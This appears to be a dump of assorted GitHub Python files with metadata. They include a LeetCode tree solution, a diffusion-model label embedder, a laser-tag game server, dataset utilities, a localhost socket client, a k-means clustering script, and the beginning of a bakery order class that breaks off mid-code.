+{"seq_id":"70426063092","text":"class Solution:\n    def findMinHeightTrees(self, n: int, edges: List[List[int]]) -> List[int]:\n        if n == 1:\n            return [0]\n\n        graph = defaultdict(set)\n        for e in edges:\n            graph[e[0]].add(e[1])\n            graph[e[1]].add(e[0])\n\n        leaves = set()\n        for node, values in graph.items():\n            if len(values) == 1:\n                leaves.add(node)\n\n        while n > 2:\n            n -= len(leaves)\n            new_leaves = set()\n            for leaf in leaves:\n                neighbor = graph[leaf].pop()\n                graph[neighbor].remove(leaf)\n\n                if len(graph[neighbor]) == 1:\n                    new_leaves.add(neighbor)\n\n            leaves = new_leaves\n\n        return list(leaves)\n","repo_name":"Jeldo/PS","sub_path":"leetcode/pending review/310.py","file_name":"310.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"9718878934","text":"import math\n\nimport torch\nimport torch.nn as nn\nimport random\nimport numpy as np\n\n\n# Takes in class indices and return label encoding\nclass LabelEmbedder(nn.Module):\n    def __init__(self, num_classes, embedding_dim, prob):\n        super(LabelEmbedder, self).__init__()\n        self.embedding = nn.Embedding(num_classes, embedding_dim)\n        # self.default_encoding = nn.Parameter(torch.randn(1, embedding_dim))\n        self.default_encoding = nn.Parameter(torch.zeros(1, embedding_dim))\n\n        self.prob = prob\n\n    def forward(self, class_indices, is_default=False):\n        # If we are planning for class unconditional default = False\n        # Then we choose random indices to attach correct class embeddings to\n        # For the rest of the samples we put default embeddings\n        indices = torch.Tensor(self.choose_numbers(class_indices) if not is_default else range(0, len(class_indices))).int()\n\n        embedded_labels = self.embedding(class_indices)\n        embedded_labels[indices] = self.default_encoding\n        return embedded_labels\n\n    def choose(self):\n        choices = [True, False]\n        weights = [self.prob, 1 - self.prob]\n        result = random.choices(choices, weights=weights, k=1)\n        return result[0]\n\n    def choose_numbers(self, class_indices):\n        index = range(0, len(class_indices))\n        n = math.floor(len(index) * self.prob)\n        chosen_numbers = random.sample(index, n)\n        return chosen_numbers\n\n\n\n","repo_name":"AshnaC/DiffusionImageGeneator","sub_path":"LabelEmbedder.py","file_name":"LabelEmbedder.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28447350355","text":"import settings\nimport json\nimport threading\nimport time\nfrom server import Server\n\ndata = {}\nwith open('data.txt') as json_file:\n\tdata = json.load(json_file)\n\nclass GameServer(Server):\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper().__init__(**kwargs)\n\n\tdef message_handler(self, mes):\n\t\tprint(f'Принято сообщение: {mes}')\n\t\tif mes == 'game_button1':\n\t\t\tsettings.inputs['game_button'] = True\n\t\t\tstart_main_timer()\n\t\telif mes == 'game_button0':\n\t\t\tsettings.inputs['game_button'] = False\n\t\t\tstop_main_timer()\n\t\telif mes == 'start_stage1':\n\t\t\tsettings.inputs['start_stage'] = True\n\t\t\tstart_stage_timer1()\n\t\telif mes == 'start_stage0':\n\t\t\tsettings.inputs['start_stage'] = False\n\t\t\tstart_stage_timer0()\n\t\tif mes == 'stop_stage1':\n\t\t\tsettings.inputs['stop_stage'] = True\n\t\t\tstart_stop_timer1()\n\t\telif mes == 'stop_stage0':\n\t\t\tsettings.inputs['stop_stage'] = False\n\t\t\tstop_stage_timer0()\n\t\tif mes == 'sound_button1':\n\t\t\tsettings.inputs['sound_button'] = True\n\t\t\tstart_sound_timer()\n\t\telif mes == 'sound_button0':\n\t\t\tsettings.inputs['sound_button'] = False\n\t\t\tstop_sound_timer()\n\t\tif mes == 'light_button1':\n\t\t\tsettings.inputs['light_button'] = True\n\t\t\tstart_emergency_timer()\n\t\telif mes == 'light_button0':\n\t\t\tsettings.inputs['light_button'] = False\n\t\t\tstop_emergency_timer()\n\t\tif mes == 'signal_R1':\n\t\t\tsettings.inputs['signal_R'] = True\n\t\telif mes == 'signal_R0':\n\t\t\tsettings.inputs['signal_R'] = False\n\t\tif mes == 'signal_G1':\n\t\t\tsettings.inputs['signal_G'] = True\n\t\telif mes == 'signal_G0':\n\t\t\tsettings.inputs['signal_G'] = False\n\t\tif mes == 'signal_B1':\n\t\t\tsettings.inputs['signal_B'] = True\n\t\telif mes == 'signal_B0':\n\t\t\tsettings.inputs['signal_B'] = False\n\t\tif mes == 'takeFlag_A1':\n\t\t\tsettings.inputs['takeFlag_A'] = True\n\t\telif mes == 'takeFlag_A0':\n\t\t\tsettings.inputs['takeFlag_A'] = False\n\t\tif mes == 'takeFlag_B1':\n\t\t\tsettings.inputs['takeFlag_B'] = True\n\t\telif mes == 'takeFlag_B0':\n\t\t\tsettings.inputs['takeFlag_B'] = False\n\t\tif mes == 'giveFlag_A1':\n\t\t\tsettings.inputs['giveFlag_A'] = True\n\t\telif mes == 'giveFlag_A0':\n\t\t\tsettings.inputs['giveFlag_A'] = False\n\t\tif mes == 'giveFlag_B1':\n\t\t\tsettings.inputs['giveFlag_B'] = True\n\t\telif mes == 'giveFlag_B0':\n\t\t\tsettings.inputs['giveFlag_B'] = False\n\t\tif mes == 'bomb_activated1':\n\t\t\tsettings.inputs['bomb_activated'] = True\n\t\telif mes == 'bomb_activated0':\n\t\t\tsettings.inputs['bomb_activated'] = False\n\t\tif mes == 'bomb_planted1':\n\t\t\tsettings.inputs['bomb_planted'] = True\n\t\telif mes == 'bomb_planted0':\n\t\t\tsettings.inputs['bomb_planted'] = False\n\n\tdef init_settings(self):\n\t\tif not settings.emergencyStatus:\n\t\t\tfor out in settings.outs:\n\t\t\t\treset_out(out)\n\t\telse:\n\t\t\temergency_on()\n\ngs = GameServer()\nthreading.Thread(target=gs.start_server, daemon=True).start()\n\ndef set_main_time():\n\tsettings.mainTime = settings.time[0]['mainTime']\n\tsettings.addedTime = 0\n\ndef set_stage_time():\n\tsettings.stageTime = settings.time[0]['t5']\n\n\nsettings.time = data['time']\nset_main_time()\nset_stage_time()\nsettings.numberOfStage = data['scripts_map'][0]['numberOfStage']\nsettings.scriptsMap = data['scripts_map'][0]['id']\n\ndef start_main_timer():\n\tsettings.startMainTime = time.time()\n\tsettings.mainTimer = True\n\ndef start_stage_timer1():\n\tsettings.startStageTime1 = time.time()\n\tsettings.stageTimer1 = True\n\ndef start_stage_timer0():\n\tsettings.startStageTime0 = time.time()\n\tsettings.stageTimer0 = True\n\ndef start_sound_timer():\n\tsettings.startSoundTime = time.time()\n\tsettings.soundTimer = True\n\ndef start_emergency_timer():\n\tsettings.startEmergencyTime = time.time()\n\tsettings.emergencyTimer = True\n\ndef stop_main_timer():\n\tsettings.mainTimer = False\n\ndef stop_stage_timer1():\n\tsettings.stageTimer1 = False\n\ndef stop_stage_timer0():\n\tsettings.stageTimer0 = False\n\ndef stop_sound_timer():\n\tsettings.soundTimer = False\n\ndef stop_emergency_timer():\n\tsettings.emergencyTimer = False\n\ndef check_timers():\n\tif settings.mainTimer:\n\t\tif check_time(settings.startMainTime):\n\t\t\tif settings.gameStatus:\n\t\t\t\tstop_game_script()\n\t\t\telse:\n\t\t\t\tstart_game_script()\n\tif settings.stageTimer1:\n\t\tif check_time(settings.startStageTime1):\n\t\t\tstart_stage_script()\n\tif settings.stageTimer0:\n\t\tif check_time(settings.startStageTime0):\n\t\t\tstop_stage_script()\n\tif settings.soundTimer:\n\t\tif check_time(settings.startSoundTime):\n\t\t\tsound_script()\n\tif settings.emergencyTimer:\n\t\tif check_time(settings.startEmergencyTime):\n\t\t\temergency_script()\n\ndef check_time(timer):\n\treturn time.time() - timer >= 2 and time.time() - timer < 4\n\ndef start_game_script():\n\tsettings.mainTimer = False\n\tif settings.readyToStart:\n\t\tsettings.initStatus = True\n\t\tsettings.event = True\n\telif settings.initStatus:\n\t\tsettings.gameStatus = True\n\t\tsettings.event = True\n\ndef stop_game_script():\n\tsettings.mainTimer = False\n\tsettings.readyToStart = False\n\tsettings.initStatus = False\n\tsettings.gameStatus = False\n\tsettings.event = True\n\ndef start_stage_script():\n\tsettings.stageTimer1 = False\n\tif not settings.stageStatus and settings.gameStatus:\n\t\tsettings.startStageEvent = True\n\ndef stop_stage_script():\n\tsettings.stageTimer0 = False\n\tif settings.stageStatus and settings.gameStatus:\n\t\tsettings.stopStageEvent = True\n\ndef sound_script():\n\tsettings.soundTimer = False\n\tif settings.volume:\n\t\tsettings.volume = 0\n\telse:\n\t\tsettings.volume = 100\n\tsettings.volumeEvent = True\n\ndef emergency_script():\n\tsettings.emergencyTimer = False\n\tsettings.emergencyEvent = True\n\ndef check_to_start():\n\tfor status in settings.settingsToStart:\n\t\tif not settings.settingsToStart[status]:\n\t\t\tsettings.readyToStart = False\n\t\t\treturn settings.readyToStart\n\tif not settings.gameStatus and not settings.initStatus:\n\t\tsettings.readyToStart = True\n\treturn settings.readyToStart\n\ndef change_volume():\n\tgs.send_message(f'volume{int(settings.volume)};')\n\ndef play_music(music):\n\tgs.send_message(f'play{music};')\n\ndef pause_music(music):\n\tgs.send_message(f'pause{music};')\n\ndef stop_music(music):\n\tgs.send_message(f'stop{music};')\n\ndef send_music(music, tm):\n\tplay_music(music)\n\ttime.sleep(tm)\n\tstop_music(music)\n\ndef end_stage_music_event():\n\tthreading.Thread(target = end_stage_music, daemon = True).start()\n\ndef end_game_music_event():\n\tthreading.Thread(target = end_game_music, daemon = True).start()\n\ndef end_game_music():\n\tprint('stop game')\n\tsettings.currentStage = 0\n\tred = settings.getCount('red')\n\tblue = settings.getCount('blue')\n\tprint(f'red {red}')\n\tprint(f'blue {blue}')\n\tsend_music(3, 4)\n\tsend_music(red, 1)\n\tsend_music(blue, 1)\n\tif red > blue:\n\t\tsend_music(4, 2)\n\telif red < blue:\n\t\tsend_music(5, 2)\n\tsend_music(6, 4)\n\ndef end_stage_music():\n\tsend_music(19, 3)\n\n\tif settings.check_end():\n\t\tend_game_music()\n\telif not settings.currentStage%2: #если прошел 1 подэтап\n\t\tsend_music(20, 2)\n\telse:\n\t\t#проверка следующего этапа\n\t\tif 'Death match' in settings.getNextStageName():\n\t\t\tpass\n\t\telif 'Контрольная точка' in settings.getNextStageName() or\\\n\t\t'Штурм' in settings.getNextStageName():\n\t\t\tsend_music(21, 4)\n\t\telif 'Бомба' in settings.getNextStageName():\n\t\t\tsend_music(22, 5)\n\n\ndef init_settings():\n\tsettings.outs = {\n\t'tableButton': True,\n\t'ARed': True,\n\t'ABlue': True,\n\t'BRed': True,\n\t'BBlue': True,\n\t'AdminLight': True,\n\t'area1_W1': False,\n\t'area1_TL1': True,\n\t'area2_W2': False,\n\t'area2_TL2': True,\n\t'area3_W3': False,\n\t'area3_TL3': True,\n\t'area4_W4': False,\n\t'area4_TL4': True,\n\t'hallway1_WK1': False,\n\t'hallway1_TLK1': True,\n\t'hallway2_WK2': False,\n\t'hallway2_TLK2': True,\n\t'give_LK1': True,\n\t'medicBag_A': False,\n\t'medicBag_B': False\n}\n\tif not settings.emergencyStatus:\n\t\tfor out in settings.outs:\n\t\t\treset_out(out)\n\ndef init_game():\n\tsettings.outs['hallway1_WK1'] = True\n\tsettings.outs['give_LK1'] = False\n\tsettings.outs['AdminLight'] = False\n\n\tif not settings.emergencyStatus:\n\t\tfor out in settings.outs:\n\t\t\treset_out(out)\n\ndef start_game():\n\tsettings.outs['tableButton'] = False\n\tsettings.outs['hallway1_WK1'] = False\n\tsettings.outs['hallway1_WK1'] = True\n\tsettings.outs['AdminLight'] = True\n\n\tif not settings.emergencyStatus:\n\t\tfor out in settings.outs:\n\t\t\treset_out(out)\n\ndef stop_game():\n\tinit_settings()\n\ndef init_stage():\n\tsettings.outs['area1_W1'] = True\n\tsettings.outs['area3_W3'] = True\n\tif not settings.currentStage%2:\n\t\tsettings.outs['ARed'] = False\n\t\tsettings.outs['BBlue'] = False\n\telse:\n\t\tsettings.outs['BRed'] = False\n\t\tsettings.outs['ABlue'] = False\n\n\tif not settings.emergencyStatus:\n\t\tfor out in settings.outs:\n\t\t\treset_out(out)\n\ndef start_stage():\n\tif not settings.currentStage%2:\n\t\tsettings.outs['ARed'] = True\n\t\tsettings.outs['BBlue'] = True\n\telse:\n\t\tsettings.outs['BRed'] = True\n\t\tsettings.outs['ABlue'] = True\n\tif not settings.wowEffects:\n\t\tsettings.outs['area1_W1'] = False\n\t\tsettings.outs['area3_W3'] = False\n\telse:\n\t\tsettings.outs['area1_W1'] = True\n\t\tsettings.outs['area1_TL1'] = False\n\t\tsettings.outs['area2_W2'] = True\n\t\tsettings.outs['area2_TL2'] = False\n\t\tsettings.outs['area3_W3'] = True\n\t\tsettings.outs['area3_TL3'] = False\n\t\tsettings.outs['area4_W4'] = True\n\t\tsettings.outs['area4_TL4'] = False\n\t\tsettings.outs['hallway1_WK1'] = True\n\t\tsettings.outs['hallway1_TLK1'] = False\n\t\tsettings.outs['hallway2_WK2'] = True\n\t\tsettings.outs['hallway2_TLK2'] = False\n\t\tsettings.outs['give_LK1'] = True\n\n\tif not settings.emergencyStatus:\n\t\tfor out in settings.outs:\n\t\t\treset_out(out)\n\ndef stop_stage():\n\tif settings.wowEffects:\n\t\tsettings.outs['area1_W1'] = False\n\t\tsettings.outs['area1_TL1'] = True\n\t\tsettings.outs['area2_W2'] = False\n\t\tsettings.outs['area2_TL2'] = True\n\t\tsettings.outs['area3_W3'] = False\n\t\tsettings.outs['area3_TL3'] = True\n\t\tsettings.outs['area4_W4'] = False\n\t\tsettings.outs['area4_TL4'] = True\n\t\tsettings.outs['hallway1_WK1'] = False\n\t\tsettings.outs['hallway1_TLK1'] = True\n\t\tsettings.outs['hallway2_WK2'] = False\n\t\tsettings.outs['hallway2_TLK2'] = True\n\t\tsettings.outs['give_LK1'] = False\n\n\t\tif not settings.emergencyStatus:\n\t\t\tfor out in settings.outs:\n\t\t\t\treset_out(out)\n\ndef emergency_on():\n\tgs.send_message('area1_W10;')\n\tgs.send_message('area1_TL11;')\n\tgs.send_message('area2_W20;')\n\tgs.send_message('area2_TL21;')\n\tgs.send_message('area3_W30;')\n\tgs.send_message('area3_TL31;')\n\tgs.send_message('area4_W40;')\n\tgs.send_message('area4_TL41;')\n\tgs.send_message('hallway1_WK10;')\n\tgs.send_message('hallway1_TLK11;')\n\tgs.send_message('hallway2_WK20;')\n\tgs.send_message('hallway2_TLK21;')\n\ndef emergency_off():\n\tif not settings.emergencyStatus:\n\t\tfor out in settings.outs:\n\t\t\treset_out(out)\n\ndef reset_out(message):\n\tif settings.outs[message]:\n\t\tgs.send_message(f'{message}1;')\n\telse:\n\t\tgs.send_message(f'{message}0;')","repo_name":"ilyaslav/lazertag","sub_path":"script/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":10524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"22504190609","text":"\"\"\"Functionality utilities for rootflow datasets.\n\nHouses simple utility functions key to the behavior of rootflow datasets.\n\"\"\"\n\nfrom typing import Any, Callable, Iterable, Mapping, Sequence, Union, Tuple, List\nimport torch\nfrom torch.utils.data.dataloader import default_collate\n\n\ndef default_collate_without_key(\n    unprocessed_batch: List[dict],\n    key_to_remove: str,\n) -> Union[torch.Tensor, dict, tuple, list]:\n    \"\"\"Collates batches removing the target.\n\n    Args:\n        unprocessed_batch (list): A list of data elements returned from a :class:`Dataset`\n        key_to_remove (str): The key to remove from the batch.\n\n    Returns:\n        Union[torch.Tensor, dict, tuple, list]: A batch of data formatted according to\n            the type of the data elements in the batch. (i.e. a batch of dicts will return\n            a dict)\n    \"\"\"\n    unprocessed_batch = [\n        {key: value for key, value in batch_item.items() if not key == key_to_remove}\n        for batch_item in unprocessed_batch\n    ]\n    return default_collate(unprocessed_batch)\n\n\ndef batch(iterable: Iterable, batch_size: int = 1) -> list:\n    \"\"\"Batches an iterable.\n\n    Yeilds chunks from an iterable at a specified size. Note that the last batch will\n    have size of `len(iterable) % batch_size` instead of `batch_size`.\n\n    Args:\n        iterable (Iterable): The iterable to be batched\n        batch_size (:obj:`int`, optional): The size of each batch, except the last.\n\n    Yeilds:\n        list: A list of the iterable items in each batch.\n    \"\"\"\n    length = len(iterable)\n    for ndx in range(0, length, batch_size):\n        upper = min(ndx + batch_size, length)\n        yield iterable[ndx:upper]\n\n\ndef batch_enumerate(iterable: Iterable, batch_size: int = 1) -> Tuple[slice, list]:\n    \"\"\"Enumerates in batches.\n\n    Enumerates an iterable in consistent length batches, yielding the slice and batch\n    for each. Note that the last batch will have size of `len(iterable) % batch_size`\n    instead of `batch_size`.\n\n    Args:\n        iterable (Iterable): Some iterable which we would like to split into batches.\n        batch_size (:obj:`int`, optional): The size of each batch, except the last.\n\n    Yields:\n        Tuple[slice, list]: A tuple containing, respectively, the slice corresponding\n            to the batch's location in the iterable and a list containing the batch.\n    \"\"\"\n    length = len(iterable)\n    for ndx in range(0, length, batch_size):\n        upper = min(ndx + batch_size, length)\n        yield (slice(ndx, upper), iterable[ndx:upper])\n\n\n# TODO Using the term composition instead of map might be better and more mathematically accurate.\ndef map_functions(obj: object, function_list: Iterable[Callable]) -> Any:\n    \"\"\"Maps multiple functions on an object.\n\n    Returns the composition of multiple functions on an object. The functions are\n    called in the order given.\n\n    Args:\n        obj (object): The object which you would like to map multiple functions on.\n        function_list (Iterable[Callable]): An ordered collection of functions to map.\n\n    Returns:\n        Any: The result of the function_list mapped on obj.\n    \"\"\"\n    value = obj\n    for function in function_list:\n        value = function(value)\n    return value\n\n\ndef get_unique(input_iterator: Iterable, ordered: bool = True) -> list:\n    \"\"\"Returns unique elements.\n\n    Returns only the unique elements of a given iterable, optionally in the order\n    which they were given. If the order is maintained, elements will appear in the\n    order of their first appearance.\n\n    Args:\n        input_iterator (Iterable): the iterator which you would like to reduce to only\n            its unique elements.\n        ordered (bool): A flag indicating wether the element order should be preserved.\n\n    Returns:\n        list: The unique items from input_iterator.\n    \"\"\"\n    if ordered:\n        unique = list(set(input_iterator))\n        unique.sort()\n        return unique\n    else:\n        # TODO A better algorithm should be used. This is worst case O(n**2) in time,\n        # and not great for memory either. Will cause problem for excessively large\n        # iterator inputs.\n        seen = set()\n        seen_add = seen.add\n        return [item for item in input_iterator if not (item in seen or seen_add(item))]\n\n\ndef get_nested_data_types(object: Any) -> Union[dict, list, type]:\n    \"\"\"Returns the types of potentially nested structures.\n\n    Collects the types of Sequence and Mapping structures into a :obj:`list` or\n    :obj:`dict` respectively. The function will do so recursively. (For example,\n    potentially returning a list of dicts of types). When the object in question\n    is a Sequence, order is maintained. When the object in question is a Mapping\n    the keys are maintained.\n\n    Args:\n        object (Any): The object for which you would like its type(s).\n\n    Returns:\n        Union[dict, list, type]: Either a type, dict, or list, depending on the\n            type of object.\n    \"\"\"\n    if (\n        isinstance(object, Sequence)\n        and not isinstance(object, str)\n        and not isinstance(object, torch.Tensor)\n    ):\n        return list(set([get_nested_data_types(element) for element in object]))\n    elif isinstance(object, Mapping):\n        return {key: get_nested_data_types(value) for key, value in object.items()}\n    else:\n        return type(object)\n\n\ndef infer_task_from_targets(target_list: list) -> Tuple[str, tuple]:\n    \"\"\"Infers the type and shape of a task.\n\n    Infers the supervised task type and shape given a list of task targets.\n    Currently supported tasks are: `\"classification\"`, `\"binary\"`, `\"multitarget\"`,\n    and `\"regression\"`. (`\"multitarget\"` is a multitarget binary classification task).\n    If the targets are not of the types and shapes expected for any of the above\n    mentioned task types, then the function will instead return None for the type.\n\n    Args:\n        target_list (list): A list of targets for a particular supervised task.\n\n    Returns:\n        Tuple[str, tuple]: A tuple containing, respectively, the string corresponding\n            to the type of task and a tuple which describes the shape of the target,\n            given the infered task.\n    \"\"\"\n    if not target_list:\n        return None\n\n    first_target = next(target_list)\n    if isinstance(first_target, Sequence) and not isinstance(first_target, str):\n        first_target_element = next(first_target_element)\n        if isinstance(first_target_element, (int, torch.LongTensor)):\n            # This needs to be adjusted to work with >1D tensors\n            max_element = max([max(target) for target in target_list])\n            if max_element > 1:\n                return (\"binary\", max_element)\n            max_list_sum = max([sum(target) for target in target_list])\n            if max_list_sum > 1:\n                return (\"binary\", len(first_target))\n            else:\n                return (\"classification\", len(first_target))\n        elif isinstance(first_target_element, (bool, torch.BoolTensor)):\n            raise NotImplementedError\n        elif isinstance(first_target_element, float):\n            return (\"regression\", len(first_target))\n        elif isinstance(first_target_element, torch.FloatTensor):\n            return (\"regression\", (len(first_target), *first_target_element.shape))\n    elif isinstance(first_target, (int, torch.LongTensor)):\n        max_class_val = max(target_list)\n        if max_class_val > 1:\n            return (\"classification\", max_class_val)\n        else:\n            return (\"binary\", max_class_val)\n    elif isinstance(first_target, (bool, torch.BoolTensor)):\n        return (\"binary\", 2)\n    elif isinstance(first_target, float):\n        return (\"regression\", 1)\n    elif isinstance(first_target, torch.FloatTensor):\n        return (\"regression\", first_target.shape)\n    else:\n        return (None, None)\n","repo_name":"HesitantlyHuman/hatespace","sub_path":"hatespace/datasets/base/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7884,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"3258599230","text":"#!/usr/bin/env python\n# Written by: DGC\n\nimport png\n\ncolours = []\nfor i in range(16):\n    colour = int(255 * (16 - i))\n    colours.append(\"#%02d%02d%02d\" % (colour, colour, colour))\npic = png.from_array(colours)\n\npic.save(\"file.png\")\n","repo_name":"davidcorne/Maths","sub_path":"Mandelbrot/png_writer.py","file_name":"png_writer.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"42955539690","text":"import socket\n\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nifopen = client.connect_ex(('127.0.0.1', 2900))\n\nif ifopen == 0:\n    print('connected')\n    client.send('1'.encode('utf-8'))\n    client.send(\"-\".encode('utf-8'))\n    client.send(\"2\".encode('utf-8'))\n    print(client.recv(1024).decode('utf-8'))\n    print(socket.getservbyport('127.0.0.1','tcp'))\nelse:\n    print(\"connection lost\")\nclient.close()","repo_name":"AWadowski/pas","sub_path":"lb2/zad7.py","file_name":"zad7.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"36614090645","text":"import numpy as np\nimport random\nimport sys\nfrom sklearn.decomposition import PCA\nimport matplotlib.pyplot as plt\n\n'''-------------pre-processing-------------'''\n\n\ndef pre_process(feature_matrix):\n    # feature selection\n    redundant_feature_indices = np.argwhere((np.std(feature_matrix, axis=0)) == 0)\n    feature_matrix = np.delete(feature_matrix, redundant_feature_indices, axis=1)\n\n    # normalize the features\n    preprocessed_matrix = (feature_matrix - feature_matrix.mean(axis=0)) / (\n    np.max(feature_matrix, axis=0) - np.min(feature_matrix, axis=0))\n    return preprocessed_matrix\n\n'''-------------k-means-------------'''\n\n\ndef get_k_clusters(k_value, break_count, centroids):\n    # initialize all labels to -1\n    label_list = np.ones(adjusted_matrix.shape[0]) * -1\n\n    # initialize old centroids to a zero matrix\n    centroids_old = np.ones(centroids.shape) * -1\n\n    centroids_points_indices_dict = dict()\n\n    # perform k means until convergence\n    iterations = 0\n    while (not np.array_equal(centroids, centroids_old)) and (break_count > 0):\n        iterations += 1\n        break_count -= 1\n        for b in range(0, adjusted_matrix.shape[0]):\n            label_list[b] = np.argmin(np.linalg.norm(centroids - adjusted_matrix[b], axis=1))\n        np.copyto(centroids_old, centroids)\n        for x in range(0, k_value):\n            centroids[x, :] = np.mean(adjusted_matrix[np.where(label_list == x)], axis=0)\n            centroids_points_indices_dict[x] = np.asarray(np.where(label_list == x)) + 1\n\n    print(\"total iterations: \" + str(iterations))\n    for (key, val) in centroids_points_indices_dict.items():\n        print(str(key) + \": \" + str(val.flatten()))\n\n    centroid_points_by_id = np.zeros(centroids.shape)\n    for i in range(centroids.shape[0]):\n        centroid_points_by_id[i] = [(feature + 1) for feature in centroids[i]]\n\n\n    # calculate the SSE\n    sse_local = 0\n\n    for l in range(0, k_value):\n        sse_local += np.sum(np.linalg.norm(adjusted_matrix[np.where(label_list == l)] - centroids[l, :], axis=1) ** 2)\n\n    return [sse_local, label_list]\n\n\ndef k_means(k_value, break_count, m, centroids):\n    # perform k_means and obtain the minimum sse\n    sse_min = sys.float_info.max\n    for z in range(0, m):\n        sse_local, label_list = get_k_clusters(k_value, break_count, centroids)\n        if sse_local < sse_min:\n            sse_min = sse_local\n\n    return [sse_min, label_list]\n\n\n'''-------------PCA-------------'''\n\n\ndef plot_pca(classes_list, feature_matrix):\n    # get the unique list of classes\n    unique_classes_list = list(set(classes_list))\n\n    # obtain the principle components matrix\n    pca_object = PCA(n_components=2, svd_solver='full')\n    pca_object.fit(feature_matrix)\n    principle_components_matrix = pca_object.transform(feature_matrix)\n\n    # plot cluster_ids using the principle components as the coordinates and classes as labels\n    colors = [plt.cm.jet(float(i) / max(unique_classes_list)) for i in unique_classes_list]\n    for i, u in enumerate(unique_classes_list):\n        xi = [p for (j,p) in enumerate(principle_components_matrix[:,0]) if classes_list[j] == u]\n        yi = [p for (j,p) in enumerate(principle_components_matrix[:,1]) if classes_list[j] == u]\n        plt.scatter(xi, yi, c=colors[i], label=str(int(u)))\n\n    plt.title(input_file.split(\".\")[0] + \" scatter plot\")\n    plt.xlabel(\"Principle_component_1\")\n    plt.ylabel(\"Principle_component_2\")\n    plt.legend()\n    plt.show()\n\n\n'''-------------Jaccard-------------'''\n\n\ndef get_jaccard_similarity(clustered_feature_matrix, classes_list, ground_truth_classes_list):\n    obtained_same_cluster_matrix = np.zeros((len(clustered_feature_matrix), len(clustered_feature_matrix)))\n    ground_truth_same_cluster_matrix = np.zeros((len(clustered_feature_matrix), len(clustered_feature_matrix)))\n\n    # populate the same cluster matrices\n    for i in range(obtained_same_cluster_matrix.shape[0]):\n        obtained_same_cluster_matrix[i][i] = 1\n        ground_truth_same_cluster_matrix[i][i] = 1\n        for j in range(i + 1, obtained_same_cluster_matrix.shape[1]):\n            if classes_list[i] == classes_list[j]:\n                obtained_same_cluster_matrix[i][j] = 1\n                obtained_same_cluster_matrix[j][i] = 1\n            if ground_truth_classes_list[i] == ground_truth_classes_list[j]:\n                ground_truth_same_cluster_matrix[i][j] = 1\n                ground_truth_same_cluster_matrix[j][i] = 1\n\n    # calculate the jaccard similarity\n    numerator = np.sum(np.logical_and(obtained_same_cluster_matrix, ground_truth_same_cluster_matrix))\n    denominator = np.sum(np.logical_or(obtained_same_cluster_matrix, ground_truth_same_cluster_matrix))\n    return numerator / denominator\n\n\n'''-------------SSE-------------'''\n\n\ndef plot_sse(iter_local, min, max):\n    # store the sse obtained for each cluster_count in a list\n    sse_list = np.zeros(max)\n    for cluster_count in range(min, max + 1):\n        rand_num = random.sample(range(0, adjusted_matrix.shape[0]), k=cluster_count)\n        centroids = adjusted_matrix[rand_num, :]\n        sse_local, cluster_id_list_local = k_means(cluster_count,break_count, iter_local, centroids)\n        sse_list[cluster_count - 1] = sse_local\n\n    # plot the SSE graph\n    plt.plot(sse_list)\n    plt.ylabel('SSE')\n    plt.xlabel('k')\n    plt.show()\n\n\n# reading input\nwith open('kMeans_config.txt') as f:\n    lines = f.readlines()\n\n# check if the run is for random indices or hard-coded indices\nrandom_run = False\n\nif lines[0].strip() == \"random\":\n    random_run = True\n\ninput_file = lines[2].strip()\ndata = np.loadtxt(input_file, dtype='float')\ndata_feature_matrix = data[:, 2:]\n\n# pre-processing\n# adjusted_matrix = pre_process(data_feature_matrix)\nadjusted_matrix = data_feature_matrix\n\n# read input break_count\nbreak_count = int(lines[3].strip())\n\ninitial_centroid_indices = []\nk = 0\ncentroids = []\n# if hard-coded run\nif not random_run:\n    # initialize the centroids with file input, index is id - 1\n    initial_centroid_indices = [int(centroid_index) - 1 for centroid_index in lines[1].strip().split(\",\")]\n    k = len(initial_centroid_indices)\n    centroids = adjusted_matrix[initial_centroid_indices, :]\n\n# if random run\nelse:\n    # initialize the centroids with random points\n    k=5\n    initial_centroid_indices = random.sample(range(0, adjusted_matrix.shape[0]), k=k)\n    centroids = adjusted_matrix[initial_centroid_indices, :]\n\n    # SSE Plot\n    iter = 10\n    min_num_of_clusters = 1\n    max_num_of_clusters = 15\n    plot_sse(iter, min_num_of_clusters, max_num_of_clusters)\n\n# k-means\nsse, cluster_id_list = k_means(k, break_count, 1, centroids)\n\n# PCA\nplot_pca(cluster_id_list, adjusted_matrix)\n\n# Jaccard\ngroundTruth_cluster_id_list = data[:, 1]\njaccard_similarity = get_jaccard_similarity(adjusted_matrix, cluster_id_list, groundTruth_cluster_id_list)\nprint(\"Jaccard similarity: \" + str(jaccard_similarity))","repo_name":"muthupal007/Clustering-Algorithms","sub_path":"Kmeans/kMeans_script.py","file_name":"kMeans_script.py","file_ext":"py","file_size_in_byte":6909,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"21075846423","text":"from lib.Bill_printing import *\nfrom lib.cost_calculation import *\n\n\n\nclass Bakery:\n    \"\"\"\n    A Bakery class parse the orders and categorize it based on the item code.\n    Based on the quantity quoted in the order, the items are packed in bunches.\n    \"\"\"\n\n    def __init__(self):\n        self.total_cost = []\n\n    def place_order(self, target):\n        if target == '':\n            return \"order empty\"\n        else:\n            orders = target.splitlines()\n            for order in orders:\n                order = order.split()\n                try:\n                    quantity = int(order[0])\n                    code = order[1]\n                    if \"VS5\" == code:\n                        pack_vegemitte = [3, 5]\n                        package_vegemitte = self.packing(pack_vegemitte, quantity)\n                        cost_vegemite = Cost().vegemite_scroll(package_vegemitte)\n                        self.total_cost.append(cost_vegemite)\n                        print_bill().bill_print(quantity, code, cost_vegemite, package_vegemitte)\n                    elif 